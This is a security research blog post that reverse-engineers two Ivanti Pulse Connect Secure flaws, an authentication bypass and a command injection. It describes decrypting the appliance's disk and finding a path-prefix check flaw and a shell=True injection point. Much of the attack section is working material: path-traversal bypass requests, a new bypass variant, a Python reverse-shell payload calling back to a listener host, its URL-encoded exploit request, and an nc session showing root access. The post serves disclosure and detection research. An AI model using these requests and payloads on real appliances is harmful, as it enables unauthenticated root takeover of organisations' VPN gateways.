High Signal Detection and Exploitation of Ivanti's Pulse Connect Secure Auth Bypass & RCE

Introduction

Last week, Ivanti disclosed two critical vulnerabilities affecting Ivanti Pulse Connect Secure - CVE-2023-46805 (Authentication Bypass) & CVE-2024-21887 (Remote Command Execution).

During the testing of various versions (specifically 9.1R11.4, which was the oldest version we could deploy on Azure), we noticed that all current exploitation payloads that have been published for the authentication bypass do not work. Fortunately, through some testing, we were able to discover a way to abuse the authentication bypass on older versions of Ivanti Pulse Connect Secure.

These emerging threats first came to our attention when reading the research from Volexity and Mandiant, which detailed an extensive exploitation campaign from a sophisticated threat actor in the wild.

Given the nature of these vulnerabilities (the fact that they are critical and actively being exploited), our security research team has been working around the clock to ensure that customers of our Attack Surface Management platform have been notified if they are affected.

In this blog post, we document the process our team took in reverse engineering the vulnerabilities as well as understanding potential gaps in other detection mechanisms and exploit payloads that were published.

When this vulnerability was first disclosed, a number of security researchers were unable to obtain a copy of the VM for Pulse Connect Secure, and this caused frustration within our community. Software that is gated behind a sales process can often be more vulnerable, simply because it has not had the attention from the security research community.

We found that there were several ways to deploy Ivanti Pulse Connect Secure, as we detail below:

• AWS Marketplace: https://aws.amazon.com/marketplace/pp/prodview-2mfgisesavb6g
• Azure Marketplace: https://portal.azure.com/#create/pulse-secure.pulse-connect-secure-vm-templatepcs-byol-3nic
• Ivanti Trial Form, VMWare VM: https://application.ivanti.com/SSG/ICS/ps-ics-vmware-isa-v-22.3r1.0-b1647-package.zip

The marketplace listings only allow you to deploy versions v9.1Rxx, whereas the VM from Ivanti lets us install the latest branch of v22. Given that all of these versions were affected by this vulnerability, we made an effort to test as many versions as possible throughout our research process to ensure that the checks we were building were high signal.

During the testing of various versions (specifically 9.1R11.4, which was the oldest version we could deploy on Azure), we noticed that all current exploitation payloads that have been published for the authentication bypass do not work. Fortunately, through some testing, we were able to discover a way to abuse the authentication bypass on older versions of Ivanti Pulse Connect Secure.

As of writing this blog post, the current exploitation payloads that have been published can be found below:

GET /api/v1/totp/user-backup-code/../../system/system-information
POST /api/v1/totp/user-backup-code/../../system/platform?operation=testConnectivity 

When reconciling these two payloads with the vast number of Ivanti Pulse Connect Secure instances in the wild, we found that many instances were responding with a 403 with a 0 response body size. This indicated that the patch had not yet been applied, but the payloads shared publicly were not sufficient to prove the authentication bypass vulnerability.

A new payload we introduce as a detection mechanism for CVE-2023-46805 can be found below:

GET /api/v1/cav/client/status/../../admin/options

This will work on older versions of Ivanti Pulse Connect Secure, and typically will respond with something like the following:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 44

{"poll_interval": 300, "block_message": ""}

This new exploit vector only allows access to the cav web application, which is quite small. From source code analysis, we identified an attack vector which can lead to RCE through a zip slip vulnerability:

        with tempfile.TemporaryDirectory() as temp_dir:
            process = subprocess.run([self.decrypter,
                                      self.package,
                                      os.path.join(temp_dir, 'tmpzip')],
                                     stderr=subprocess.PIPE,
                                     stdout=subprocess.PIPE)

            LOG.debug("Process Output: {0}".format(process))
            if not process.returncode:
                try:
                    with tarfile.open(os.path.join(temp_dir, 'tmpzip'),
                                      'r:gz') as tar_file:
                        tar_file.extractall(self.dest_dir.name)
                except Exception as e:
                    LOG.error(
                        "Exception while extracting tar : {0}".format(e))

Unfortunately, at the time of writing this blog post, we have not been able to generate the encrypted file required to reach the vulnerability.

Pulse Connect Secure has the concept of Threatprint databases, which are encrypted tar files that are imported within the application. If any reader has the binary <span class="code_single-line">packencrypt</span>, we would love to hear from you, but we are pretty sure that these files are signed by Ivanti and that the signature is checked, meaning that exploitation is not readily possible.

If you were to successfully encrypt a tar file, you could abuse this functionality to drop a file anywhere on the file system that is writeable.

Filesystem Access

To begin we setup Ivanti Connect Secure (ICS) in a VM and confirmed everything was running correctly. We then powered it off and attached the vmdk to an Ubuntu VM. After attempting to mount the partitions in the disk image, we found that they were LUKS encrypted. Since there was no prompt for a key or password when we ran the ICS virtual machine, the keys would have to be on the boot partition somewhere. Looking in the boot partition we found an initrd filesystem that is normally where these keys would be kept. However, it wasn’t in the usual CPIO archive format and was in fact also encrypted.

To get around this we shutdown our Ubuntu VM and started up the ICS one. In the Grub menu we pressed <span class="code_single-line">e</span> to edit the boot arguments and change the <span class="code_single-line">init</span> argument to <span class="code_single-line">/bin/sh</span>. This would cause the machine to run a shell instead of the default <span class="code_single-line">/sbin/init</span> process on startup. This would allow us to explore the filesystem after the initrd filesystem was decrypted and mounted, but before all of the normal system processes are started.

Following on from Watchtowr’s blog post, we learnt that the kernel image has a specific blacklist against this technique. The command <span class="code_single-line">/bin/sh</span> is specifically blocked, however it can be bypassed with <span class="code_single-line">init=//bin/sh</span>. After doing this we could access the key file at /etc/lvmkey.

We read the file with <span class="code_single-line">cat -vE</span> since it was a binary file. This displayed the file with non-printing characters escaped with either <span class="code_single-line">^</span>, <span class="code_single-line">M-</span> or <span class="code_single-line">$</span> if it was a newline.

sh-4.1# cat -vE /etc/lvmkey
$
M-9M-^^M-OM-^IuNM-G`^XM-J^NM-Z]jM-G

Which, when decoded, gave us the following:

$       0a
M-9     b9
M-^^    9e
M-O     cf
M-^I    89
u       75
N       4e
M-G     c7
`       60
^X      18
M-J     ca
^N      0e
M-Z     da
]       5d
j       6a
M-G     c7

We then confirmed this matched with grep.

sh-4.1# grep -Pz '\xb9\x9e\xcf\x89\x75\x4e\xc7\x60\x18\xca\x0e\xda\x5d\x6a\xc7' /etc/lvmkey | cat -vE
$
M-9M-^^M-OM-^IuNM-G`^XM-J^NM-Z]jM-G$

We then wrote the keys to a file with python.

key = b"\x0a\xb9\x9e\xcf\x89\x75\x4e\xc7\x60\x18\xca\x0e\xda\x5d\x6a\xc7"
f = open("lvmkey", "wb")
f.write(key)

And used this to decrypt and mount the LUKS volumes.

# Detect the volumes
$ vgscan
  Found volume group "groupS" using metadata type lvm2
  Found volume group "groupA" using metadata type lvm2
  Found volume group "groupZ" using metadata type lvm2

# Activate them, groupS is a swap partition so we ignore it
$ vgchange -ay groupA
  2 logical volume(s) in volume group "groupA" now active
$ vgchange -ay groupZ
  1 logical volume(s) in volume group "groupZ" now active

# Open the volumes
$ cryptsetup luksOpen -d lvmkey /dev/groupA/runtime ARuntime
$ cryptsetup luksOpen -d lvmkey /dev/groupA/home Ahome
$ cryptsetup luksOpen -d lvmkey /dev/groupZ/home ZHome

# Mount the volumes
$ mkdir ARuntime && mount /dev/mapper/ARuntime ARuntime
$ mkdir AHome && mount /dev/mapper/AHome AHome
$ mkdir Zhome && mount /dev/mapper/ZHome ZHome

We now had full access to the filesystem and could begin looking for the authentication bypass.

REST API

The advisory from Ivanti mentioned Admin REST APIs as one of the features that would have reduced functionality after applying the patch, so this is where we decided to start our search. We searched through the filesystem and found a lot of <span class="code_single-line">cfg</span> files in <span class="code_single-line">/root/home/config</span> for various potential services. There were several which included some form of “rest server” in their name. They all ran a uWSGI server, we can see this below from <span class="code_single-line">config_restserver.spec.cfg</span>.

[default]
uid=0
binary=/home/ecbuilds/int-rel/sa/22.3/bld1647.1/install/venv3/bin/uwsgi
cgroup_blkio=system
cgroup_cpu=system/active
args=--http-socket 127.0.0.1:8090 -w restservice.api:app --logger file:logfile=/home/ecbuilds/int-rel/sa/22.3/bld1647.1/install/runtime/dlogs/config_rest_server.log,maxsize=50000000,backupname=/home/ecbuilds/int-rel/sa/22.3/bld1647.1/install/runtime/dlogs/config_rest_server.log.old --buffer-size 16384 --lazy-apps
display_title=config rest server

Since these were python services and it ran uWSGI from <span class="code_single-line">venv3</span> we searched this folder for the <span class="code_single-line">restservice</span> package and quickly found it.

venv3 $ find . | grep restservice
./lib/python3.6/site-packages/restservice-0.1-py3.6.egg

We unzipped the egg archive and were able to find a list of API endpoints in <span class="code_single-line">restservice/api/init.py</span>. A snippet of these is shown below.

...
api.add_resource(
    Userrecordsynchronization,
    "/api/v1/system/user-record-synchronization",
    "/api/v1/system/user-record-synchronization/database/export",
    "/api/v1/system/user-record-synchronization/database/import",
    "/api/v1/system/user-record-synchronization/database/delete",
    "/api/v1/system/user-record-synchronization/database/retrieve-stats",
)
api.add_resource(
    WebProfile, "/api/v1/system/resource-profiles/web-profile/<path:applet_name>"
)
api.add_resource(
    ActiveSyncDevices,
    "/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>",
    "/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>/allow-access",
    "/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>/block-access",
    "/api/v1/system/status/active-sync-devices",
)
api.add_resource(
    AwsAzureTestConnection,
    "/api/v1/system/maintenance/archiving/cloud-server-test-connection",
)
...

We pulled out this list and sent each of them through Burp Intruder to see if any were accessible without authentication. We found only two endpoints that did not respond with a 403.

• /api/private/v1/license/watermarks/xxx [302]
• /api/v1/totp/user-backup-code [405]

After looking at the source for each of these we didn’t find anything that looked immediately exploitable. However, since most of the APIs appeared to have no authentication or authorization at all, we decided to dig into why only these ones were accessible. We knew from the config file that the server ran on port 8090, this meant that there was definitely a proxy in front because we were not accessing it on that port.

How Does Auth Work?

Again, we searched through the config files and found <span class="code_single-line">web.spec.cfg</span> which ran <span class="code_single-line">bin/dsstartws</span>. Looking at <span class="code_single-line">dsstartws</span> we found a perl script that ran <span class="code_single-line">bin/web</span>.

#!/home/ecbuilds/int-rel/sa/22.3/bld1647.1/install/perl5/bin/perl -T
# -*- mode:perl; cperl-indent-level: 4; indent-tabs-mode:nil -*-

use lib ($ENV{'DSINSTALL'} =~ /(\S*)/)[0] . "/perl";
use strict;
use DSSafe;

my ($install) = $ENV{'DSINSTALL'} =~ /(\S*)/;

$SIG{HUP} = 'IGNORE';


if (!-e $install  . "/runtime/webserver/conf/secure.crt" ) { 
    system("/bin/mkdir -p " . $install . "/runtime/webserver/conf/"); 
    system("/bin/cp " . $install . "/webserver/conf/ssl.crt/secure.crt " . 
           $install .  "/runtime/webserver/conf");
}
if (!-e $install  . "/runtime/webserver/conf/intermediate.crt" ) { 
    system("/bin/mkdir -p " . $install . "/runtime/webserver/conf/"); 
    system("/bin/cp " . $install . "/webserver/conf/ssl.crt/intermediate.crt " . 
           $install .  "/runtime/webserver/conf");
}
if (!-e $ENV{'DSINSTALL'} . "/runtime/webserver/conf/secure.key" ) { 
    system("/bin/mkdir -p " .  $install .  "/runtime/webserver/conf");
    system("/bin/cp " . $install . "/webserver/conf/ssl.key/secure.key " . 
           $install .  "/runtime/webserver/conf");
}

my $command = $install . "/bin/web -s " . $install . "/runtime/webserver/conf"; 
exec($command) ; 
print "unable to run: $command\n";
exit(-1);

We opened <span class="code_single-line">/root/home/bin/web</span> in Ghidra and started looking for our API endpoints. We searched for strings beginning with <span class="code_single-line">/api/v1</span> and found plenty of matches. Looking at <span class="code_single-line">/api/v1/totp/user-backup-code</span> we found it referenced in multiple functions. One of these functions <span class="code_single-line">FUN_000ab66</span> contained multiple debug log statements that included the function name, <span class="code_single-line">doAuthCheck</span>.

DAT_0014f210 = (uint *)DSGetStatementCounter
                                 ("request.cc",0xb40,"doAuthCheck",pcVar7,0x14,
                                  "Session timedout but request is API request. Sending 401"
                                 );

Looking at where our endpoint was referenced in this function we found the following.

iVar8 = strncmp(pcVar7,"/api/v1/totp/user-backup-code",0x1d);
if (iVar8 == 0) {
    return true;
}

Although there were additional checks elsewhere for the other endpoints, this one only checked the prefix matched. This meant we could append additional characters to the path and it would pass through our proxy to the python web service. To verify this we picked an easy to call endpoint and verified it ordinarily would be inaccessible.

POST /api/v1/system/platform?operation=testConnectivity HTTP/1.1
Host: 192.168.1.217
Content-Length: 0


HTTP/1.1 403 Forbidden
Strict-Transport-Security: max-age=31536000
Content-Length: 0

And then tried accessing it via <span class="code_single-line">/api/v1/totp/user-backup-code</span> with a path traversal.

POST /api/v1/totp/user-backup-code/../../system/platform?operation=testConnectivity HTTP/1.1
Host: 192.168.1.217
Content-Length: 0


HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 146

{"result":["Destination host 192.168.1.1 used as Gateway Address is responding","Destination host 192.168.1.1 used as DNS Server is responding"]}

Now that we had the authentication bypass the next step was to find an endpoint containing the command injection vulnerability mentioned in the advisory.

Command Injection

The command injection vulnerability was easier to find than the authentication bypass. We ran a search for <span class="code_single-line">os.system</span> and <span class="code_single-line">Popen</span> calls made in the <span class="code_single-line">restservice/api</span> directory. Here are some of the results.

api > grep -ir 'os.system' .
./resources/codesigncertimport.py:                os.system(cmd)
./resources/codesigncertimport.py:        result = os.system(cmd)
./resources/codesigncertimport.py:                result = os.system(cmd)
./resources/codesigncertimport.py:        os.system(cmd)
./resources/codesigncertimport.py:        os.system(cmd)
./resources/codesigncertimport.py:        os.system("/bin/rm " + opensslOut)
./resources/codesigncertimport.py:        os.system(cmd)
./resources/codesigncertimport.py:        os.system("/bin/rm " + keyStoreAliasOut)
./resources/codesigncertimport.py:        os.system(cmd)
./resources/codesigncertimport.py:        rc = 0xFFFF & os.system(cmd)
./resources/codesigncertimport.py:                os.system(cmd)
./resources/codesigncertimport.py:        os.system(cmd)
./resources/html5.py:        systemCmdStatus = os.system(smbclientCmd)
api > grep -ir 'Popen' .
./resources/awsazuretestconnection.py:                    proc = subprocess.Popen(
./resources/controller.py:        proc = subprocess.Popen(
./resources/controller.py:        proc = subprocess.Popen(
./resources/config.py:        proc = subprocess.Popen(
./resources/config.py:        proc = subprocess.Popen(args, stdout=subprocess.PIPE)
./resources/config.py:        popen_args = [
./resources/config.py:            popen_args.append("--expand-href")
./resources/config.py:            popen_args.append("--exclude-pulse-packages")
./resources/config.py:        proc = subprocess.Popen(popen_args, stdout=subprocess.PIPE)
./resources/localbackupsysconfiganduseracc.py:        proc = subprocess.Popen(
./resources/localbackupsysconfiganduseracc.py:                    proc = subprocess.Popen(
./resources/localbackupsysconfiganduseracc.py:        proc = subprocess.Popen(
./resources/html5.py:        # proc = subprocess.Popen(smbClientCmd, shell=True, stdout=subprocess.PIPE)
./resources/exportuniversalxml.py:        popen_args = [
./resources/exportuniversalxml.py:        proc = subprocess.Popen(popen_args, stdout=subprocess.PIPE)
./resources/exportxml.py:        popen_args = [
./resources/exportxml.py:        proc = subprocess.Popen(popen_args, stdout=subprocess.PIPE)
./resources/license.py:        proc = subprocess.Popen(
./resources/license.py:                proc = subprocess.Popen(
./resources/license.py:            proc = subprocess.Popen(
./resources/license.py:            proc = subprocess.Popen(
./resources/license.py:            proc = subprocess.Popen(
./resources/samlconfig.py:        o_fd = os.popen(cmd, "r", 1)
./resources/samlconfig.py:        o_fd = os.popen(cmd, "r", 1)
./resources/webprofile.py:        proc = subprocess.Popen(
./resources/webprofile.py:        cabbase_proc = subprocess.Popen(
./resources/nsaregistration.py:                proc = subprocess.Popen(
./resources/status.py:        ntpq_command_output = os.popen("ntpq -np").read().split("\n")

There were several vulnerable endpoints, the one we settled on was <span class="code_single-line">/api/v1/license/keys-status/&lt;path:node_name&gt;</span>, the vulnerable snippet is shown below.

def get(self, url_suffix=None, node_name=None):
    if request.path.startswith("/api/v1/license/keys-status"):
        try:
            dsinstall = os.environ.get("DSINSTALL")
            if node_name == None:
                node_name = ""
            proc = subprocess.Popen(
                dsinstall
                + "/perl5/bin/perl"
                + " "
                + dsinstall
                + "/perl/getLicenseCapacity.pl"
                + " getLicenseKeys "
                + node_name,
                shell=True,
                stdout=subprocess.PIPE,
            )

We can see that <span class="code_single-line">node_name</span> is appended to the command string and shell=True is set. We can append a semicolon and then run any additional commands we like. We used the following payload to create a reverse shell with python.

;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.197",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';

And sent the following request, containing our URL-encoded payload, to trigger the exploit.

GET /api/v1/totp/user-backup-code/../../license/keys-status/%3b%70%79%74%68%6f%6e%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%39%32%2e%31%36%38%2e%31%2e%31%39%37%22%2c%34%34%34%34%29%29%3b%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%69%22%5d%2c%73%74%64%69%6e%3d%73%2e%66%69%6c%65%6e%6f%28%29%2c%73%74%64%6f%75%74%3d%73%2e%66%69%6c%65%6e%6f%28%29%2c%73%74%64%65%72%72%3d%73%2e%66%69%6c%65%6e%6f%28%29%29%27%3b HTTP/1.1
Host: 192.168.1.211

Then caught the reverse shell as follows.

$ nc -lv 192.168.1.197 4444
sh: cannot set terminal process group (-1): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.1# id
id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1# cat /home/VERSION
cat /home/VERSION
export DSREL_MAJOR=22
export DSREL_MINOR=3
export DSREL_MAINT=1
export DSREL_DATAVER=4802
export DSREL_PRODUCT=ssl-vpn
export DSREL_DEPS=ive
export DSREL_BUILDNUM=1647
export DSREL_COMMENT="R1"

Conclusion

We have shown another example of a secure VPN device expose itself to widescale exploitation as the result of relatively simple security mistakes. An interum mitigation is available from the vendor which blocks access to many of these endpoints, however a full patch is yet to be released. Device integrity checks are also recommended as many devices are already compromised and the mitigation does not appear to remove any persistence mechanisms left by an attacker.

As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities in their attack surface.

We appreciated the help from Ron Bowes at GreyNoise along the way as we worked through this emerging threat together.

‍